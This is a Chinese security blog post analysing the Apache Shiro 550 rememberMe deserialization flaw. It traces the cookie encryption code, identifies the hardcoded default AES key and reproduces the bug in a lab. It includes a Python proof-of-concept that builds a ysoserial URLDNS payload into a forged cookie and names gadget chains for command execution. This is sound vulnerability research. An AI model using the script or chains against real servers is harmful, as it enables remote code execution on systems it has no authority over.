Java安全之Shiro 550反序列化漏洞分析
首發自安全客:Java安全之Shiro 550反序列化漏洞分析
0x00 前言
在近些時間基本都能在一些滲透或者是攻防演練中看到Shiro的身影,也是Shiro的該漏洞也是用的比較頻繁的漏洞。本文對該Shiro550 反序列化漏洞進行一個分析,了解漏洞產生過程以及利用方式。
0x01 漏洞原理
Shiro 550 反序列化漏洞存在版本:shiro <1.2.4,產生原因是因為shiro接受了Cookie里面rememberMe的值,然后去進行Base64解密后,再使用aes密鑰解密后的數據,進行反序列化。
反過來思考一下,如果我們構造該值為一個cc鏈序列化后的值進行該密鑰aes加密后進行base64加密,那么這時候就會去進行反序列化我們的payload內容,這時候就可以達到一個命令執行的效果。
獲取rememberMe值 -> Base64解密 -> AES解密 -> 調用readobject反序列化操作
0x02 漏洞環境搭建
漏洞環境:https://codeload.github.com/apache/shiro/zip/shiro-root-1.2.4
打開shiro/web目錄,對pom.xml進行配置依賴配置一個cc4和jstl組件進來,后面再去說為什么shiro自帶了commons-collections:3.2.1還要去手工配置一個commons-collections:4.0。
<properties>
<maven.compiler.source>1.6</maven.compiler.source>
<maven.compiler.target>1.6</maven.compiler.target>
</properties>
...
<dependency>
<groupId>javax.servlet</groupId>
<artifactId>jstl</artifactId>
<!-- 這里需要將jstl設置為1.2 -->
<version>1.2</version>
<scope>runtime</scope>
</dependency>
<dependency>
<groupId>org.apache.commons</groupId>
<artifactId>commons-collections4</artifactId>
<version>4.0</version>
</dependency>
坑點
Shiro的編譯太痛苦了,各種坑,下面來排一下坑。
配置maven\conf\toolchains.xml,這里需要指定JDK1.6的路徑和版本,編譯必須要1.6版本,但不影響在其他版本下運行。
<?xml version="1.0" encoding="UTF-8"?>
<toolchains xmlns="http://maven.apache.org/TOOLCHAINS/1.1.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://maven.apache.org/TOOLCHAINS/1.1.0 http://maven.apache.org/xsd/toolchains-1.1.0.xsd">
<toolchain>
<type>jdk</type>
<provides>
<version>1.6</version>
<vendor>sun</vendor>
</provides>
<configuration>
<jdkHome>D:\JAVA_JDK\jdk1.6</jdkHome>
</configuration>
</toolchain>
</toolchains>
這些都完成后進行編譯。
Failed to execute goal org.apache.maven.plugins:maven-compiler-plugin:2.0.2:testCompile (default-testCompile) on project samples-web: Compilation failure
這里還是報錯了。
后面編譯的時候,切換成了maven3.1.1的版本。然后就可以編譯成功了。

但是后面又發現部署的時候訪問不到,編譯肯定又出了問題。
后面把這兩個里面的<scope>標簽給注釋掉,然后就可以了。

把pom.xml配置貼一下。
<?xml version="1.0" encoding="UTF-8"?>
<!--
~ Licensed to the Apache Software Foundation (ASF) under one
~ or more contributor license agreements. See the NOTICE file
~ distributed with this work for additional information
~ regarding copyright ownership. The ASF licenses this file
~ to you under the Apache License, Version 2.0 (the
~ "License"); you may not use this file except in compliance
~ with the License. You may obtain a copy of the License at
~
~ http://www.apache.org/licenses/LICENSE-2.0
~
~ Unless required by applicable law or agreed to in writing,
~ software distributed under the License is distributed on an
~ "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
~ KIND, either express or implied. See the License for the
~ specific language governing permissions and limitations
~ under the License.
-->
<!--suppress osmorcNonOsgiMavenDependency -->
<project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/maven-v4_0_0.xsd">
<properties>
<maven.compiler.source>1.6</maven.compiler.source>
<maven.compiler.target>1.6</maven.compiler.target>
</properties>
<parent>
<groupId>org.apache.shiro.samples</groupId>
<artifactId>shiro-samples</artifactId>
<version>1.2.4</version>
<relativePath>../pom.xml</relativePath>
</parent>
<modelVersion>4.0.0</modelVersion>
<artifactId>samples-web</artifactId>
<name>Apache Shiro :: Samples :: Web</name>
<packaging>war</packaging>
<build>
<plugins>
<plugin>
<artifactId>maven-surefire-plugin</artifactId>
<configuration>
<forkMode>never</forkMode>
</configuration>
</plugin>
<plugin>
<groupId>org.mortbay.jetty</groupId>
<artifactId>maven-jetty-plugin</artifactId>
<version>${jetty.version}</version>
<configuration>
<contextPath>/</contextPath>
<connectors>
<connector implementation="org.mortbay.jetty.nio.SelectChannelConnector">
<port>9080</port>
<maxIdleTime>60000</maxIdleTime>
</connector>
</connectors>
<requestLog implementation="org.mortbay.jetty.NCSARequestLog">
<filename>./target/yyyy_mm_dd.request.log</filename>
<retainDays>90</retainDays>
<append>true</append>
<extended>false</extended>
<logTimeZone>GMT</logTimeZone>
</requestLog>
</configuration>
</plugin>
</plugins>
</build>
<dependencies>
<dependency>
<groupId>javax.servlet</groupId>
<artifactId>jstl</artifactId>
<scope>runtime</scope>
</dependency>
<dependency>
<groupId>javax.servlet</groupId>
<artifactId>servlet-api</artifactId>
<!-- <scope>provided</scope>-->
</dependency>
<dependency>
<groupId>org.slf4j</groupId>
<artifactId>slf4j-log4j12</artifactId>
<scope>runtime</scope>
</dependency>
<dependency>
<groupId>log4j</groupId>
<artifactId>log4j</artifactId>
<scope>runtime</scope>
</dependency>
<dependency>
<groupId>net.sourceforge.htmlunit</groupId>
<artifactId>htmlunit</artifactId>
<version>2.6</version>
<!-- <scope>test</scope>-->
</dependency>
<dependency>
<groupId>org.apache.shiro</groupId>
<artifactId>shiro-core</artifactId>
</dependency>
<dependency>
<groupId>org.apache.shiro</groupId>
<artifactId>shiro-web</artifactId>
</dependency>
<dependency>
<groupId>org.mortbay.jetty</groupId>
<artifactId>jetty</artifactId>
<version>${jetty.version}</version>
<scope>test</scope>
</dependency>
<dependency>
<groupId>org.mortbay.jetty</groupId>
<artifactId>jsp-2.1-jetty</artifactId>
<version>${jetty.version}</version>
<scope>test</scope>
</dependency>
<dependency>
<groupId>org.slf4j</groupId>
<artifactId>jcl-over-slf4j</artifactId>
<scope>runtime</scope>
</dependency>
<dependency>
<groupId>javax.servlet</groupId>
<artifactId>jstl</artifactId>
<!-- 這里需要將jstl設置為1.2 -->
<version>1.2</version>
<scope>runtime</scope>
</dependency>
<dependency>
<groupId>org.apache.commons</groupId>
<artifactId>commons-collections4</artifactId>
<version>4.0</version>
</dependency>
</dependencies>
</project>
經過2天的排坑,終於把這個坑給解決掉,這里必須貼幾張照片慶祝慶祝。


輸入賬號密碼,勾選Remerber me選項。進行抓包

下面就可以來分析該漏洞了。
0x03 漏洞分析
加密
漏洞產生點在CookieRememberMeManager該位置,來看到rememberSerializedIdentity方法。
該方法的作用為使用Base64對指定的序列化字節數組進行編碼,並將Base64編碼的字符串設置為cookie值。
那么我們就去查看一下該方法在什么地方被調用。

在這可以看到該類繼承的AbstractRememberMeManager類調用了該方法。跟進進去查看

發現這個方法被rememberIdentity方法給調用了,同樣方式繼續跟進。

在這里會發現rememberIdentity方法會被onSuccessfulLogin方法給調用,跟蹤到這一步,就看到了onSuccessfulLogin登錄成功的方法。
當登錄成功后會調用AbstractRememberMeManager.onSuccessfulLogin方法,該方法主要實現了生成加密的RememberMe Cookie,然后將RememberMe Cookie設置為用戶的Cookie值。在前面我們分析的rememberSerializedIdentity方法里面去實現了。可以來看一下這段代碼。

回到onSuccessfulLogin這個地方,打個斷點,然后web登錄頁面輸入root/secret 口令進行提交,再回到IDEA中查看。找到登錄成功方法后,我們可以來正向去做個分析,不然剛剛的方式比較麻煩。

這里看到調用了isRememberMe很顯而易見得發現這個就是一個判斷用戶是否選擇了Remember Me選項。

如果選擇Remember Me功能的話返回true,如果不選擇該選項則是調用log.debug方法在控制台輸出一段字符。
這里如果為true的話就會調用rememberIdentity方法並且傳入三個參數。F7跟進該方法。

前面說過該方法會去生成一個PrincipalCollection對象,里面包含登錄信息。F7進行跟進rememberIdentity方法。

查看convertPrincipalsToBytes具體的實現與作用。


跟進該方法查看具體實現。

看到這里其實已經很清晰了,進行了一個序列化,然后返回序列化后的Byte數組。
再來看到下一段代碼,這里如果getCipherService方法不為空的話,就會去執行下一段代碼。getCipherService方法是獲取加密模式。


還是繼續跟進查看。


查看調用,會發現在構造方法里面對該值進行定義。

完成這一步后,就來到了這里。

調用encrypt方法,對序列化后的數據進行處理。繼續跟進。

這里調用cipherService.encrypt方法並且傳入序列化數據,和getEncryptionCipherKey方法。

getEncryptionCipherKey從名字上來看是獲取密鑰的方法,查看一下,是怎么獲取密鑰的。


查看調用的時候,發現setCipherKey方法在構造方法里面被調用了。

查看DEFAULT_CIPHER_KEY_BYTES值會發現里面定義了一串密鑰

而這個密鑰是定義死的。
返回剛剛的加密的地方。

這個地方選擇跟進,查看具體實現。

查看到這里發現會傳入前面序列化的數組和key值,最后再去調用他的重載方法並且傳入序列化數組、key、ivBytes值、generate。
iv的值由generateInitializationVector方法生成,進行跟進。


查看getDefaultSecureRandom方法實現。



返回generateInitializationVector方法繼續查看。這個new了一個byte數組長度為16

最后得到這個ivBytes值進行返回。
這里執行完成后就拿到了ivBytes的值了,這里再回到加密方法的地方查看具體加密的實現。

這里調用crypt方法進行獲取到加密后的數據,而這個output是一個byte數組,大小是加密后數據的長度加上iv這個值的長度。
iv 的小tips
- 某些加密算法要求明文需要按一定長度對齊,叫做塊大小(BlockSize),我們這次就是16字節,那么對於一段任意的數據,加密前需要對最后一個塊填充到16 字節,解密后需要刪除掉填充的數據。
- AES中有三種填充模式(PKCS7Padding/PKCS5Padding/ZeroPadding)
- PKCS7Padding跟PKCS5Padding的區別就在於數據填充方式,PKCS7Padding是缺幾個字節就補幾個字節的0,而PKCS5Padding是缺幾個字節就補充幾個字節的幾,好比缺6個字節,就補充6個字節
不了解加密算法的可以看Java安全之安全加密算法
在執行完成后序列化的數據已經被進行了AES加密,返回一個byte數組。

執行完成后,來到這一步,然后進行跟進。

到了這里其實就沒啥好說的了。后面的步驟就是進行base64加密后設置為用戶的Cookie的rememberMe字段中。
解密
由於我們並不知道哪個方法里面去實現這么一個功能。但是我們前面分析加密的時候,調用了AbstractRememberMeManager.encrypt進行加密,該類中也有對應的解密操作。那么在這里就可以來查看該方法具體會在哪里被調用到,就可以追溯到上層去,然后進行下斷點。


查看 getRememberedPrincipals方法在此處下斷點

跟蹤

返回getRememberedPrincipals方法。

在下面調用了convertBytesToPrincipals方法,進行跟蹤。

查看decrypt方法具體實現。

和前面的加密步驟類似,這里不做詳細講解。

生成iv值,然后傳入到他的重載方法里面。

到了這里執行完后,就進行了AES的解密完成。
還是回到這一步。

這里返回了deserialize方法的返回值,並且傳入AES加密后的數據。
進行跟蹤該方法。

繼續跟蹤。

到了這步,就會對我們傳入進來的AES解密后的數據進行調用readObject方法進行反序列化操作。
0x04 漏洞攻擊
漏洞探測
現在已經知道了是因為獲取rememberMe值,然后進行解密后再進行反序列化操作。
那么在這里如果拿到了密鑰就可以偽造加密流程。
網上找的一個加密的腳本
# -*-* coding:utf-8
# @Time : 2020/10/16 17:36
# @Author : nice0e3
# @FileName: poc.py
# @Software: PyCharm
# @Blog :https://www.cnblogs.com/nice0e3/
import base64
import uuid
import subprocess
from Crypto.Cipher import AES
def rememberme(command):
# popen = subprocess.Popen(['java', '-jar', 'ysoserial-0.0.6-SNAPSHOT-all.jar', 'URLDNS', command], stdout=subprocess.PIPE)
popen = subprocess.Popen(['java', '-jar', 'ysoserial.jar', 'URLDNS', command],
stdout=subprocess.PIPE)
# popen = subprocess.Popen(['java', '-jar', 'ysoserial-0.0.6-SNAPSHOT-all.jar', 'JRMPClient', command], stdout=subprocess.PIPE)
BS = AES.block_size
pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()
key = "kPH+bIxk5D2deZiIxcaaaA=="
mode = AES.MODE_CBC
iv = uuid.uuid4().bytes
encryptor = AES.new(base64.b64decode(key), mode, iv)
file_body = pad(popen.stdout.read())
base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(file_body))
return base64_ciphertext
if __name__ == '__main__':
# payload = encode_rememberme('127.0.0.1:12345')
# payload = rememberme('calc.exe')
payload = rememberme('http://u89cy6.dnslog.cn')
with open("./payload.cookie", "w") as fpw:
print("rememberMe={}".format(payload.decode()))
res = "rememberMe={}".format(payload.decode())
fpw.write(res)
獲取到值后加密后的payload后可以在burp上面進行手工發送測試一下。

發送完成后,就可以看到DNSLOG平台上面回顯了。

當使用URLDNS鏈的打過去,在DNSLOG平台有回顯的時候,就說明這個地方存在反序列化漏洞。
但是要利用的話還得是使用CC鏈等利用鏈去進行命令的執行。
漏洞利用
前面我們手動給shio配上cc4的組件,而shiro中自帶的是cc3.2.1版本的組件,為什么要手工去配置呢?
其實shiro中重寫了ObjectInputStream類的resolveClass函數,ObjectInputStream的resolveClass方法用的是Class.forName類獲取當前描述器所指代的類的Class對象。而重寫后的resolveClass方法,采用的是ClassUtils.forName。查看該方法
public static Class forName(String fqcn) throws UnknownClassException {
Class clazz = THREAD_CL_ACCESSOR.loadClass(fqcn);
if (clazz == null) {
if (log.isTraceEnabled()) {
log.trace("Unable to load class named [" + fqcn + "] from the thread context ClassLoader. Trying the current ClassLoader...");
}
clazz = CLASS_CL_ACCESSOR.loadClass(fqcn);
}
if (clazz == null) {
if (log.isTraceEnabled()) {
log.trace("Unable to load class named [" + fqcn + "] from the current ClassLoader. " + "Trying the system/application ClassLoader...");
}
clazz = SYSTEM_CL_ACCESSOR.loadClass(fqcn);
}
if (clazz == null) {
String msg = "Unable to load class named [" + fqcn + "] from the thread context, current, or " + "system/application ClassLoaders. All heuristics have been exhausted. Class could not be found.";
throw new UnknownClassException(msg);
} else {
return clazz;
}
}
在傳參的地方如果傳入一個Transform數組的參數,會報錯。
后者並不支持傳入數組類型。
resovleClass使用的是ClassLoader.loadClass()而非Class.forName(),而ClassLoader.loadClass不支持裝載數組類型的class
那么在這里可以使用cc2和cc4的利用鏈去進行命令執行,因為這兩個都是基於javassist去實現的,而不是基於Transform數組。具體的可以看前面我的分析利用鏈文章。
除了這兩個其實在部署的時候,可以發現組件當中自帶了一個CommonsBeanutils的組件,這個組件也是有利用鏈的。可以使用CommonsBeanutils這條利用鏈進行命令執行。
那么除了這些方式就沒有了嘛?假設沒有cc4的組件,就一定執行不了命令了嘛?其實方式還是有的。wh1t3p1g師傅在文章中已經給出了解決方案。需要重新去特殊構造一下利用鏈。
參考文章
https://www.anquanke.com/post/id/192619#h2-4
https://payloads.info/2020/06/23/Java%E5%AE%89%E5%85%A8-%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E7%AF%87-Shiro%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90/#Commons-beanutils
https://zeo.cool/2020/09/03/Shiro%20550%20%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E%20%E8%AF%A6%E7%BB%86%E5%88%86%E6%9E%90+poc%E7%BC%96%E5%86%99/#%E5%9D%91%E7%82%B9%EF%BC%9A
0x05 結尾
在該漏洞中我覺得主要的難點在於環境搭建上費了不少時間,還有的就是關於shiro中大部分利用鏈沒法使用的解決。
